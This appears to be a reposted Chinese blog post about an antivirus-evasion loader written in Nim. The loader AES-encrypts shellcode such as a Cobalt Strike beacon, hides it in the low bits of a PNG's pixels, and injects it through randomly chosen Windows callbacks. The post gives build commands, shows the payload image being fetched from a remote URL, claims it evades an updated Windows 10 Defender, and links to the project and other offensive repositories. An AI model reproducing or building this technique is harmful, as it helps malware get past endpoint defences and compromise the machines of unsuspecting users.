nim-lang 免殺測試:回調函數結合隱寫術


nim-lang 免殺測試:回調函數結合隱寫術

就是將 shellcode,比如,beacon.bin 隱藏到一張 PNG 圖片中,當然要先經過 AES 加密后在嵌入圖片。運行時再將 shellcode 提取出來,最終通過回調的方式注入 shellcode。

隱寫術

本想直接使用 https://github.com/treeform/steganography ,但是卻無情報錯:

https://github.com/treeform/flippy/issues/35

閱讀代碼發現,其實就是將信息隱藏在 PNG 圖片每個像素 RGBA 中的最低兩位,所以一個像素就能隱藏8位也就是1個字節的數據。還有一個坑就是,如何識別嵌入了多少數據,最終決定用前8個字節保存嵌入數據的大小。這部分的代碼保持在 lsb.nim 中。

加解密部分,用的是 AES256-CTR ,參考了OffensiveNim的 encrypt_decrypt_bin.nim

生成加密圖片

編譯 lsb.nim

nim c -d:realese --opt:size --cpu:amd64 lsb.nim

生成加密圖片

生成加密圖片

還原文件

還原文件

對比還原的文件和原來的文件發現hash一致,說明無誤。

注入shellcode

注明:本地測試已將 windows 10 defender 更新至最新(如果一次不成功,可嘗試第二次)。

目前一共內置17個通過回調注入shellcode的方法,運行時隨機會選擇一個。這部分的實現可以看我的上一篇文章 Shellcode Injection via Callbacks

編譯 letsgo.nim

nim c -d:realese -d:ssl --opt:size --cpu:amd64 letsgo.nim

上線截圖

上線截圖

除了可以通過本地文件上線之外,還可以將圖片上傳至雲上,比如:

letsgo.exe https://www.test.com/images/logo.png 12345678

項目地址 https://github.com/StudyCat404/letsgo

引用

https://github.com/S3cur3Th1sSh1t/Nim_CBT_Shellcode
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
https://github.com/treeform/steganography
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM